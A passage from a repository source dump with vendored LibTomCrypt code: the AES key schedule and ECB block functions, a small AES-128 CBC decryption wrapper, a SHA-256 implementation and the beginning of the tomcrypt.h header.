i; 69 | ulong32 temp, *rk; 70 | ulong32 *rrk; 71 | LTC_ARGCHK(key != NULL); 72 | LTC_ARGCHK(skey != NULL); 73 | 74 | if (keylen != 16 && keylen != 24 && keylen != 32) { 75 | return CRYPT_INVALID_KEYSIZE; 76 | } 77 | 78 | if (num_rounds != 0 && num_rounds != (10 + ((keylen/8)-2)*2)) { 79 | return CRYPT_INVALID_ROUNDS; 80 | } 81 | 82 | skey->rijndael.Nr = 10 + ((keylen/8)-2)*2; 83 | 84 | /* setup the forward key */ 85 | i = 0; 86 | rk = skey->rijndael.eK; 87 | LOAD32H(rk[0], key ); 88 | LOAD32H(rk[1], key + 4); 89 | LOAD32H(rk[2], key + 8); 90 | LOAD32H(rk[3], key + 12); 91 | if (keylen == 16) { 92 | for (;;) { 93 | temp = rk[3]; 94 | rk[4] = rk[0] ^ setup_mix(temp) ^ rcon[i]; 95 | rk[5] = rk[1] ^ rk[4]; 96 | rk[6] = rk[2] ^ rk[5]; 97 | rk[7] = rk[3] ^ rk[6]; 98 | if (++i == 10) { 99 | break; 100 | } 101 | rk += 4; 102 | } 103 | } else if (keylen == 24) { 104 | LOAD32H(rk[4], key + 16); 105 | LOAD32H(rk[5], key + 20); 106 | for (;;) { 107 | #ifdef _MSC_VER 108 | temp = skey->rijndael.eK[rk - skey->rijndael.eK + 5]; 109 | #else 110 | temp = rk[5]; 111 | #endif 112 | rk[ 6] = rk[ 0] ^ setup_mix(temp) ^ rcon[i]; 113 | rk[ 7] = rk[ 1] ^ rk[ 6]; 114 | rk[ 8] = rk[ 2] ^ rk[ 7]; 115 | rk[ 9] = rk[ 3] ^ rk[ 8]; 116 | if (++i == 8) { 117 | break; 118 | } 119 | rk[10] = rk[ 4] ^ rk[ 9]; 120 | rk[11] = rk[ 5] ^ rk[10]; 121 | rk += 6; 122 | } 123 | } else if (keylen == 32) { 124 | LOAD32H(rk[4], key + 16); 125 | LOAD32H(rk[5], key + 20); 126 | LOAD32H(rk[6], key + 24); 127 | LOAD32H(rk[7], key + 28); 128 | for (;;) { 129 | #ifdef _MSC_VER 130 | temp = skey->rijndael.eK[rk - skey->rijndael.eK + 7]; 131 | #else 132 | temp = rk[7]; 133 | #endif 134 | rk[ 8] = rk[ 0] ^ setup_mix(temp) ^ rcon[i]; 135 | rk[ 9] = rk[ 1] ^ rk[ 8]; 136 | rk[10] = rk[ 2] ^ rk[ 9]; 137 | rk[11] = rk[ 3] ^ rk[10]; 138 | if (++i == 7) { 139 | break; 140 | } 141 | temp = rk[11]; 142 | rk[12] = rk[ 4] ^ setup_mix(RORc(temp, 8)); 143 | rk[13] = rk[ 5] ^ rk[12]; 144 | rk[14] = rk[ 6] ^ rk[13]; 145 | rk[15] = rk[ 7] ^ rk[14]; 146 | rk += 8; 147 | } 148 | } else { 149 | /* this can't happen */ 150 | /* coverity[dead_error_line] */ 151 | return CRYPT_ERROR; 152 | } 153 | 154 | /* setup the inverse key now */ 155 | rk = skey->rijndael.dK; 156 | rrk = skey->rijndael.eK + (28 + keylen) - 4; 157 | 158 | /* apply the inverse MixColumn transform to all round keys but the first and the last: */ 159 | /* copy first */ 160 | *rk++ = *rrk++; 161 | *rk++ = *rrk++; 162 | *rk++ = *rrk++; 163 | *rk = *rrk; 164 | rk -= 3; rrk -= 3; 165 | 166 | for (i = 1; i < skey->rijndael.Nr; i++) { 167 | rrk -= 4; 168 | rk += 4; 169 | temp = rrk[0]; 170 | rk[0] = setup_mix2(temp); 171 | temp = rrk[1]; 172 | rk[1] = setup_mix2(temp); 173 | temp = rrk[2]; 174 | rk[2] = setup_mix2(temp); 175 | temp = rrk[3]; 176 | rk[3] = setup_mix2(temp); 177 | } 178 | 179 | /* copy last */ 180 | rrk -= 4; 181 | rk += 4; 182 | *rk++ = *rrk++; 183 | *rk++ = *rrk++; 184 | *rk++ = *rrk++; 185 | *rk = *rrk; 186 | 187 | return CRYPT_OK; 188 | } 189 | 190 | /** 191 | Encrypts a block of text with AES 192 | @param pt The input plaintext (16 bytes) 193 | @param ct The output ciphertext (16 bytes) 194 | @param skey The key as scheduled 195 | @return CRYPT_OK if successful 196 | */ 197 | int ECB_ENC(const unsigned char *pt, unsigned char *ct, symmetric_key *skey) 198 | { 199 | ulong32 s0, s1, s2, s3, t0, t1, t2, t3, *rk; 200 | int Nr, r; 201 | 202 | LTC_ARGCHK(pt != NULL); 203 | LTC_ARGCHK(ct != NULL); 204 | LTC_ARGCHK(skey != NULL); 205 | 206 | Nr = skey->rijndael.Nr; 207 | rk = skey->rijndael.eK; 208 | 209 | /* 210 | * map byte array block to cipher state 211 | * and add initial round key: 212 | */ 213 | LOAD32H(s0, pt ); s0 ^= rk[0]; 214 | LOAD32H(s1, pt + 4); s1 ^= rk[1]; 215 | LOAD32H(s2, pt + 8); s2 ^= rk[2]; 216 | LOAD32H(s3, pt + 12); s3 ^= rk[3]; 217 | 218 | for (r = 0; ; r++) { 219 | rk += 4; 220 | t0 = 221 | Te0(byte(s0, 3)) ^ 222 | Te1(byte(s1, 2)) ^ 223 | Te2(byte(s2, 1)) ^ 224 | Te3(byte(s3, 0)) ^ 225 | rk[0]; 226 | t1 = 227 | Te0(byte(s1, 3)) ^ 228 | Te1(byte(s2, 2)) ^ 229 | Te2(byte(s3, 1)) ^ 230 | Te3(byte(s0, 0)) ^ 231 | rk[1]; 232 | t2 = 233 | Te0(byte(s2, 3)) ^ 234 | Te1(byte(s3, 2)) ^ 235 | Te2(byte(s0, 1)) ^ 236 | Te3(byte(s1, 0)) ^ 237 | rk[2]; 238 | t3 = 239 | Te0(byte(s3, 3)) ^ 240 | Te1(byte(s0, 2)) ^ 241 | Te2(byte(s1, 1)) ^ 242 | Te3(byte(s2, 0)) ^ 243 | rk[3]; 244 | if (r == Nr-2) { 245 | break; 246 | } 247 | s0 = t0; s1 = t1; s2 = t2; s3 = t3; 248 | } 249 | rk += 4; 250 | 251 | /* 252 | * apply last round and 253 | * map cipher state to byte array block: 254 | */ 255 | s0 = 256 | (Te4_3[byte(t0, 3)]) ^ 257 | (Te4_2[byte(t1, 2)]) ^ 258 | (Te4_1[byte(t2, 1)]) ^ 259 | (Te4_0[byte(t3, 0)]) ^ 260 | rk[0]; 261 | STORE32H(s0, ct); 262 | s1 = 263 | (Te4_3[byte(t1, 3)]) ^ 264 | (Te4_2[byte(t2, 2)]) ^ 265 | (Te4_1[byte(t3, 1)]) ^ 266 | (Te4_0[byte(t0, 0)]) ^ 267 | rk[1]; 268 | STORE32H(s1, ct+4); 269 | s2 = 270 | (Te4_3[byte(t2, 3)]) ^ 271 | (Te4_2[byte(t3, 2)]) ^ 272 | (Te4_1[byte(t0, 1)]) ^ 273 | (Te4_0[byte(t1, 0)]) ^ 274 | rk[2]; 275 | STORE32H(s2, ct+8); 276 | s3 = 277 | (Te4_3[byte(t3, 3)]) ^ 278 | (Te4_2[byte(t0, 2)]) ^ 279 | (Te4_1[byte(t1, 1)]) ^ 280 | (Te4_0[byte(t2, 0)]) ^ 281 | rk[3]; 282 | STORE32H(s3, ct+12); 283 | 284 | return CRYPT_OK; 285 | } 286 | 287 | /** 288 | Decrypts a block of text with AES 289 | @param ct The input ciphertext (16 bytes) 290 | @param pt The output plaintext (16 bytes) 291 | @param skey The key as scheduled 292 | @return CRYPT_OK if successful 293 | */ 294 | int ECB_DEC(const unsigned char *ct, unsigned char *pt, symmetric_key *skey) 295 | { 296 | ulong32 s0, s1, s2, s3, t0, t1, t2, t3, *rk; 297 | int Nr, r; 298 | 299 | LTC_ARGCHK(pt != NULL); 300 | LTC_ARGCHK(ct != NULL); 301 | LTC_ARGCHK(skey != NULL); 302 | 303 | Nr = skey->rijndael.Nr; 304 | rk = skey->rijndael.dK; 305 | 306 | /* 307 | * map byte array block to cipher state 308 | * and add initial round key: 309 | */ 310 | LOAD32H(s0, ct ); s0 ^= rk[0]; 311 | LOAD32H(s1, ct + 4); s1 ^= rk[1]; 312 | LOAD32H(s2, ct + 8); s2 ^= rk[2]; 313 | LOAD32H(s3, ct + 12); s3 ^= rk[3]; 314 | 315 | for (r = 0; ; r++) { 316 | rk += 4; 317 | t0 = 318 | Td0(byte(s0, 3)) ^ 319 | Td1(byte(s3, 2)) ^ 320 | Td2(byte(s2, 1)) ^ 321 | Td3(byte(s1, 0)) ^ 322 | rk[0]; 323 | t1 = 324 | Td0(byte(s1, 3)) ^ 325 | Td1(byte(s0, 2)) ^ 326 | Td2(byte(s3, 1)) ^ 327 | Td3(byte(s2, 0)) ^ 328 | rk[1]; 329 | t2 = 330 | Td0(byte(s2, 3)) ^ 331 | Td1(byte(s1, 2)) ^ 332 | Td2(byte(s0, 1)) ^ 333 | Td3(byte(s3, 0)) ^ 334 | rk[2]; 335 | t3 = 336 | Td0(byte(s3, 3)) ^ 337 | Td1(byte(s2, 2)) ^ 338 | Td2(byte(s1, 1)) ^ 339 | Td3(byte(s0, 0)) ^ 340 | rk[3]; 341 | if (r == Nr-2) { 342 | break; 343 | } 344 | s0 = t0; s1 = t1; s2 = t2; s3 = t3; 345 | } 346 | rk += 4; 347 | 348 | /* 349 | * apply last round and 350 | * map cipher state to byte array block: 351 | */ 352 | s0 = 353 | (Td4[byte(t0, 3)] & 0xff000000) ^ 354 | (Td4[byte(t3, 2)] & 0x00ff0000) ^ 355 | (Td4[byte(t2, 1)] & 0x0000ff00) ^ 356 | (Td4[byte(t1, 0)] & 0x000000ff) ^ 357 | rk[0]; 358 | STORE32H(s0, pt); 359 | s1 = 360 | (Td4[byte(t1, 3)] & 0xff000000) ^ 361 | (Td4[byte(t0, 2)] & 0x00ff0000) ^ 362 | (Td4[byte(t3, 1)] & 0x0000ff00) ^ 363 | (Td4[byte(t2, 0)] & 0x000000ff) ^ 364 | rk[1]; 365 | STORE32H(s1, pt+4); 366 | s2 = 367 | (Td4[byte(t2, 3)] & 0xff000000) ^ 368 | (Td4[byte(t1, 2)] & 0x00ff0000) ^ 369 | (Td4[byte(t0, 1)] & 0x0000ff00) ^ 370 | (Td4[byte(t3, 0)] & 0x000000ff) ^ 371 | rk[2]; 372 | STORE32H(s2, pt+8); 373 | s3 = 374 | (Td4[byte(t3, 3)] & 0xff000000) ^ 375 | (Td4[byte(t2, 2)] & 0x00ff0000) ^ 376 | (Td4[byte(t1, 1)] & 0x0000ff00) ^ 377 | (Td4[byte(t0, 0)] & 0x000000ff) ^ 378 | rk[3]; 379 | STORE32H(s3, pt+12); 380 | 381 | return CRYPT_OK; 382 | } 383 | 384 | 385 | /** Terminate the context 386 | @param skey The scheduled key 387 | */ 388 | void ECB_DONE(symmetric_key *skey) 389 | { 390 | LTC_UNUSED_PARAM(skey); 391 | } 392 | 393 | 394 | /** 395 | Gets suitable key size 396 | @param keysize [in/out] The length of the recommended key (in bytes). This function will store the suitable size back in this variable. 397 | @return CRYPT_OK if the input key size is acceptable. 398 | */ 399 | int ECB_KS(int *keysize) 400 | { 401 | LTC_ARGCHK(keysize != NULL); 402 | 403 | if (*keysize < 16) 404 | return CRYPT_INVALID_KEYSIZE; 405 | if (*keysize < 24) { 406 | *keysize = 16; 407 | return CRYPT_OK; 408 | } else if (*keysize < 32) { 409 | *keysize = 24; 410 | return CRYPT_OK; 411 | } else { 412 | *keysize = 32; 413 | return CRYPT_OK; 414 | } 415 | } 416 | -------------------------------------------------------------------------------- /src/crypto/tc/aes_cbc.c: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | */ 9 | #include "tomcrypt.h" 10 | 11 | /** 12 | @file cbc_start.c 13 | CBC implementation, start chain, Tom St Denis 14 | */ 15 | 16 | /** 17 | Initialize a CBC context 18 | @param cipher The index of the cipher desired 19 | @param IV The initialization vector 20 | @param key The secret key 21 | @param keylen The length of the secret key (octets) 22 | @param num_rounds Number of rounds in the cipher desired (0 for default) 23 | @param cbc The CBC state to initialize 24 | @return CRYPT_OK if successful 25 | */ 26 | static int pixie_cbc_start(const unsigned char *IV, const unsigned char *key, 27 | int keylen, int num_rounds, symmetric_CBC *cbc) 28 | { 29 | int x, err; 30 | 31 | LTC_ARGCHK(IV != NULL); 32 | LTC_ARGCHK(key != NULL); 33 | LTC_ARGCHK(cbc != NULL); 34 | 35 | /* setup cipher */ 36 | if ((err = rijndael_setup(key, keylen, num_rounds, &cbc->key)) != CRYPT_OK) { 37 | return err; 38 | } 39 | 40 | /* copy IV */ 41 | cbc->blocklen = 16; 42 | for (x = 0; x < cbc->blocklen; x++) { 43 | cbc->IV[x] = IV[x]; 44 | } 45 | return CRYPT_OK; 46 | } 47 | 48 | 49 | /** 50 | CBC decrypt 51 | @param ct Ciphertext 52 | @param pt [out] Plaintext 53 | @param len The number of bytes to process (must be multiple of block length) 54 | @param cbc CBC state 55 | @return CRYPT_OK if successful 56 | */ 57 | static int pixie_cbc_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CBC *cbc) 58 | { 59 | int x, err; 60 | unsigned char tmp[16]; 61 | unsigned char tmpy; 62 | 63 | LTC_ARGCHK(pt != NULL); 64 | LTC_ARGCHK(ct != NULL); 65 | LTC_ARGCHK(cbc != NULL); 66 | 67 | /* is blocklen valid? */ 68 | if (cbc->blocklen < 1 || cbc->blocklen > (int)sizeof(cbc->IV) || cbc->blocklen > (int)sizeof(tmp)) { 69 | return CRYPT_INVALID_ARG; 70 | } 71 | 72 | if (len % cbc->blocklen) { 73 | return CRYPT_INVALID_ARG; 74 | } 75 | 76 | if (0) { /*cipher_descriptor[cbc->cipher].accel_cbc_decrypt != NULL) { 77 | return cipher_descriptor[cbc->cipher].accel_cbc_decrypt(ct, pt, len / cbc->blocklen, cbc->IV, &cbc->key); 78 | */ 79 | } else { 80 | while (len) { 81 | /* decrypt */ 82 | if ((err = rijndael_ecb_decrypt(ct, tmp, &cbc->key)) != CRYPT_OK) { 83 | return err; 84 | } 85 | 86 | /* xor IV against plaintext */ 87 | for (x = 0; x < cbc->blocklen; x++) { 88 | tmpy = tmp[x] ^ cbc->IV[x]; 89 | cbc->IV[x] = ct[x]; 90 | pt[x] = tmpy; 91 | } 92 | 93 | ct += cbc->blocklen; 94 | pt += cbc->blocklen; 95 | len -= cbc->blocklen; 96 | } 97 | } 98 | return CRYPT_OK; 99 | } 100 | 101 | 102 | /** 103 | * aes_128_cbc_decrypt - AES-128 CBC decryption 104 | * @key: Decryption key 105 | * @iv: Decryption IV for CBC mode (16 bytes) 106 | * @data: Data to decrypt in-place 107 | * @data_len: Length of data in bytes (must be divisible by 16) 108 | * Returns: 0 on success, -1 on failure 109 | */ 110 | int aes_128_cbc_decrypt( 111 | const unsigned char *key, 112 | const unsigned char *iv, 113 | unsigned char *data, 114 | size_t data_len) 115 | { 116 | symmetric_CBC ctx; 117 | int ret = pixie_cbc_start(iv, key, 16, 0, &ctx); 118 | if(ret != CRYPT_OK) return -1; 119 | while(data_len) { 120 | unsigned char tmp[16]; 121 | size_t left = data_len >= 16 ? 16 : data_len; 122 | ret = pixie_cbc_decrypt(data, tmp, left, &ctx); 123 | if(ret != CRYPT_OK) return -1; 124 | memcpy(data, tmp, left); 125 | data += left; 126 | data_len -= left; 127 | } 128 | rijndael_done(&ctx.key); 129 | return 0; 130 | } 131 | -------------------------------------------------------------------------------- /src/crypto/tc/aes_cbc.h: -------------------------------------------------------------------------------- 1 | #ifndef AES_CBC_H 2 | #define AES_CBC_H 3 | 4 | int aes_128_cbc_decrypt( 5 | const unsigned char *key, 6 | const unsigned char *iv, 7 | unsigned char *data, 8 | size_t data_len); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/crypto/tc/sha256.c: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | */ 9 | 10 | #include "tomcrypt.h" 11 | 12 | /* Various logical functions */ 13 | #define Ch(x,y,z) (z ^ (x & (y ^ z))) 14 | #define Maj(x,y,z) (((x | y) & z) | (x & y)) 15 | #define S(x, n) RORc((x),(n)) 16 | #define R(x, n) (((x)&0xFFFFFFFFUL)>>(n)) 17 | #define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22)) 18 | #define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25)) 19 | #define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3)) 20 | #define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10)) 21 | 22 | static int sha256_compress(hash_state * md, unsigned char *buf) 23 | { 24 | ulong32 S[8], W[64], t0, t1; 25 | int i; 26 | 27 | /* copy state into S */ 28 | for (i = 0; i < 8; i++) { 29 | S[i] = md->sha256.state[i]; 30 | } 31 | 32 | /* copy the state into 512-bits into W[0..15] */ 33 | for (i = 0; i < 16; i++) { 34 | LOAD32H(W[i], buf + (4*i)); 35 | } 36 | 37 | /* fill W[16..63] */ 38 | for (i = 16; i < 64; i++) { 39 | W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16]; 40 | } 41 | 42 | /* Compress */ 43 | #define RND(a,b,c,d,e,f,g,h,i,ki) \ 44 | t0 = h + Sigma1(e) + Ch(e, f, g) + ki + W[i]; \ 45 | t1 = Sigma0(a) + Maj(a, b, c); \ 46 | d += t0; \ 47 | h = t0 + t1; 48 | 49 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],0,0x428a2f98); 50 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],1,0x71374491); 51 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],2,0xb5c0fbcf); 52 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],3,0xe9b5dba5); 53 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],4,0x3956c25b); 54 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],5,0x59f111f1); 55 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],6,0x923f82a4); 56 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],7,0xab1c5ed5); 57 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],8,0xd807aa98); 58 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],9,0x12835b01); 59 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],10,0x243185be); 60 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],11,0x550c7dc3); 61 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],12,0x72be5d74); 62 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],13,0x80deb1fe); 63 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],14,0x9bdc06a7); 64 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],15,0xc19bf174); 65 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],16,0xe49b69c1); 66 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],17,0xefbe4786); 67 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],18,0x0fc19dc6); 68 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],19,0x240ca1cc); 69 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],20,0x2de92c6f); 70 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],21,0x4a7484aa); 71 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],22,0x5cb0a9dc); 72 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],23,0x76f988da); 73 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],24,0x983e5152); 74 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],25,0xa831c66d); 75 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],26,0xb00327c8); 76 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],27,0xbf597fc7); 77 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],28,0xc6e00bf3); 78 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],29,0xd5a79147); 79 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],30,0x06ca6351); 80 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],31,0x14292967); 81 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],32,0x27b70a85); 82 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],33,0x2e1b2138); 83 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],34,0x4d2c6dfc); 84 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],35,0x53380d13); 85 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],36,0x650a7354); 86 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],37,0x766a0abb); 87 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],38,0x81c2c92e); 88 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],39,0x92722c85); 89 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],40,0xa2bfe8a1); 90 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],41,0xa81a664b); 91 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],42,0xc24b8b70); 92 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],43,0xc76c51a3); 93 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],44,0xd192e819); 94 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],45,0xd6990624); 95 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],46,0xf40e3585); 96 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],47,0x106aa070); 97 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],48,0x19a4c116); 98 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],49,0x1e376c08); 99 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],50,0x2748774c); 100 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],51,0x34b0bcb5); 101 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],52,0x391c0cb3); 102 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],53,0x4ed8aa4a); 103 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],54,0x5b9cca4f); 104 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],55,0x682e6ff3); 105 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],56,0x748f82ee); 106 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],57,0x78a5636f); 107 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],58,0x84c87814); 108 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],59,0x8cc70208); 109 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],60,0x90befffa); 110 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],61,0xa4506ceb); 111 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],62,0xbef9a3f7); 112 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],63,0xc67178f2); 113 | 114 | #undef RND 115 | 116 | /* feedback */ 117 | for (i = 0; i < 8; i++) { 118 | md->sha256.state[i] = md->sha256.state[i] + S[i]; 119 | } 120 | return CRYPT_OK; 121 | } 122 | 123 | /** 124 | Initialize the hash state 125 | @param md The hash state you wish to initialize 126 | @return CRYPT_OK if successful 127 | */ 128 | int sha256_init(hash_state * md) 129 | { 130 | LTC_ARGCHK(md != NULL); 131 | 132 | md->sha256.curlen = 0; 133 | md->sha256.length = 0; 134 | md->sha256.state[0] = 0x6A09E667UL; 135 | md->sha256.state[1] = 0xBB67AE85UL; 136 | md->sha256.state[2] = 0x3C6EF372UL; 137 | md->sha256.state[3] = 0xA54FF53AUL; 138 | md->sha256.state[4] = 0x510E527FUL; 139 | md->sha256.state[5] = 0x9B05688CUL; 140 | md->sha256.state[6] = 0x1F83D9ABUL; 141 | md->sha256.state[7] = 0x5BE0CD19UL; 142 | return CRYPT_OK; 143 | } 144 | 145 | /** 146 | Process a block of memory though the hash 147 | @param md The hash state 148 | @param in The data to hash 149 | @param inlen The length of the data (octets) 150 | @return CRYPT_OK if successful 151 | */ 152 | HASH_PROCESS(sha256_process, sha256_compress, sha256, 64) 153 | 154 | /** 155 | Terminate the hash to get the digest 156 | @param md The hash state 157 | @param out [out] The destination of the hash (32 bytes) 158 | @return CRYPT_OK if successful 159 | */ 160 | int sha256_done(hash_state * md, unsigned char *out) 161 | { 162 | int i; 163 | 164 | LTC_ARGCHK(md != NULL); 165 | LTC_ARGCHK(out != NULL); 166 | 167 | if (md->sha256.curlen >= sizeof(md->sha256.buf)) { 168 | return CRYPT_INVALID_ARG; 169 | } 170 | 171 | 172 | /* increase the length of the message */ 173 | md->sha256.length += md->sha256.curlen * 8; 174 | 175 | /* append the '1' bit */ 176 | md->sha256.buf[md->sha256.curlen++] = (unsigned char)0x80; 177 | 178 | /* if the length is currently above 56 bytes we append zeros 179 | * then compress. Then we can fall back to padding zeros and length 180 | * encoding like normal. 181 | */ 182 | if (md->sha256.curlen > 56) { 183 | while (md->sha256.curlen < 64) { 184 | md->sha256.buf[md->sha256.curlen++] = (unsigned char)0; 185 | } 186 | sha256_compress(md, md->sha256.buf); 187 | md->sha256.curlen = 0; 188 | } 189 | 190 | /* pad upto 56 bytes of zeroes */ 191 | while (md->sha256.curlen < 56) { 192 | md->sha256.buf[md->sha256.curlen++] = (unsigned char)0; 193 | } 194 | 195 | /* store length */ 196 | STORE64H(md->sha256.length, md->sha256.buf+56); 197 | sha256_compress(md, md->sha256.buf); 198 | 199 | /* copy output */ 200 | for (i = 0; i < 8; i++) { 201 | STORE32H(md->sha256.state[i], out+(4*i)); 202 | } 203 | return CRYPT_OK; 204 | } 205 | -------------------------------------------------------------------------------- /src/crypto/tc/tomcrypt.h: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | */ 9 | 10 | #ifndef TOMCRYPT_H_ 11 | #define TOMCRYPT_H_ 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | /* use configuration data */ 22 | #include 23 | 24 | #ifdef __cplusplus 25 | extern "C" { 26 | #endif 27 | 28 | /* version */ 29 | #define CRYPT 0x0118 30 | #define SCRYPT "1.18.0" 31 | 32 | /* max size of either a cipher/hash block or symmetric key [largest of the two] */ 33 | #define MAXBLOCKSIZE 144 34 | 35 | /* descriptor table size */ 36 | #define TAB_SIZE 32 37 | 38 | /* error codes [will be expanded in future releases] */ 39 | enum { 40 | CRYPT_OK=0, /* Result OK */ 41 | CRYPT_ERROR, /* Generic Error */ 42 | CRYPT_NOP, /* Not a failure but no operation was performed */ 43 | 44 | CRYPT_INVALID_KEYSIZE, /* Invalid key size given */ 45 | CRYPT_INVALID_ROUNDS, /* Invalid number of rounds */ 46 | CRYPT_FAIL_TESTVECTOR, /* Algorithm failed test vectors */ 47 | 48 | CRYPT_BUFFER_OVERFLOW, /* Not enough space for output */ 49 | CRYPT_INVALID_PACKET, /* Invalid input packet given */ 50 | 51 | CRYPT_INVALID_PRNGSIZE, /* Invalid number of bits for a PRNG */ 52 | CRYPT_ERROR_READPRNG, /* Could not read enough from PRNG */ 53 | 54 | CRYPT_INVALID_CIPHER, /* Invalid cipher specified */ 55 | CRYPT_INVALID_HASH, /* Invalid hash specified */ 56 | CRYPT_INVALID_PRNG, /* Invalid PRNG specified */ 57 | 58 | CRYPT_MEM, /* Out of memory */ 59 | 60 | CRYPT_PK_TYPE_MISMATCH, /* Not equivalent types of PK keys */ 61 | CRYPT_PK_NOT_PRIVATE, /* Requires a private PK key */ 62 | 63 | CRYPT_INVALID_ARG, /* Generic invalid argument */ 64 | CRYPT_FILE_NOTFOUND, /* File Not Found */ 65 | 66 | CRYPT_PK_INVALID_TYPE, /* Invalid type of PK key */ 67 | 68 | CRYPT_OVERFLOW, /* An overflow of a value was detected/prevented */ 69 | 70 | CRYPT_UNUSED1, /* UNUSED1 */ 71 | 72 | CRYPT_INPUT_TOO_LONG, /* The input was longer than expected. */ 73 | 74 | CRYPT_PK_INVALID_SIZE, /* Invalid size input for PK parameters */ 75 | 76 | CRYPT_INVALID_PRIME_SIZE,/* Invalid size of prime requested */ 77 | CRYPT_PK_INVALID_PADDING, /* Invalid padding on input */ 78 | 79 | CRYPT_HASH_OVERFLOW /* Hash applied to too many bits */ 80 | }; 81 | 82 | #include 83 | #include 84 | #include 85 | #include 86 | /* #include */ 87 | /* #include */ 88 | /* #include */ 89 | /* #include */ 90 | /* #include */ 91 | #include 92 | /* #include */ 93 | 94 | #ifdef __cplusplus 95 | } 96 | #endif 97 | 98 | #endif /* 